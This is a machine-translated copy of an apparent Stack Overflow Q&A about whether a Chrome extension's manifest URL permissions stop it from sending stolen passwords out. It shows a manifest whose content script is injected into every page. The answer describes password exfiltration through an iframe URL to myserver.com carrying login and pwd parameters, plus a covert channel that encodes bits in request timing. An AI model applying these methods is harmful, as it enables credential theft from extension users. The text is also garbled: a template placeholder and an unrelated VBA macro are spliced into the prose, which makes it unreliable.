不安全的扩展,在manifest.json中声明的URL"权限"

时间:2017-03-13 15:19:49

标签: javascript google-chrome security web google-chrome-extension

修改:感谢@wOxxOm指出"permissions"中的网址被视为"url/*"

似乎任何在其权限中具有http:// .json的扩展都是不安全的。这对我来说真的很奇怪,因为不将其视为"/*"会使其安全。为什么chrome & firefox这样做了?我是否遗漏了同源政策的内容?

我想知道我是否正确理解Chrome允许或禁止将其数据(被盗密码)发送到"permissions"字段中指定的网站的扩展程序,例如,在以下{{1}中}:

manifest.json

它无法在网络上的任何位置书写,但只能阅读 { "manifest_version": 2, "name": "insoumis", "version": "1.1.4.21", "description": "", "background": { "scripts": ["background.js"], "persistent": false }, "content_scripts": [ { // can inject code in any page "matches": ["http://*/*","https://*/*"], "js": ["content.js"] } ], "permissions" : [ "declarativeContent","tabs","storage","notifications","activeTab", // but cannot send back the stolen passwords "http://insoumis.online/data.json" ] }

如果我用http://insoumis.online/data.json替换此行,它将不再受限于该URL,因此允许我在整个主机上使用XMLHttpRequest并将我的数据发布到该主机中的任何URL,如图所示在下面的代码中?

http://insoumis.online/*

1 个答案:

答案 0 :(得分:0)

我想我现在明白为什么扩展是不安全的:因为它很难/不可能 - 一旦它可以注入内容脚本 - 就可以保证它的安全。

注入内容脚本意味着允许代码在键入时窃取密码。

然后几乎不可能禁止代码在互联网上发送:在任何页面中,添加<iframe url="http://myserver.com/?login=...&pwd=...">,如果需要,请使用下面的技巧

即使您只允许向一个网址发出GET个请求:

 var xhr = new XMLHttpRequest();
 xhr.open("GET", "http://myserver.com/data.json", true);

可以将少量数据发送到myserver.com

  • 在奇怪的日子里发出请求来传达1
  • 0
  • 进行沟通的平日

因此,只要url中的"permissions"和&#34; http://*"中至少有一个"content_scripts" matches Option Explicit Private Sub Workbook_Open() With ThisWorkbook.ActiveSheet If .Name = "Sheet1" Then .Range("A100").Activate .Range("A1").Activate End If End With End Sub ,安装扩展程序就会非常不安全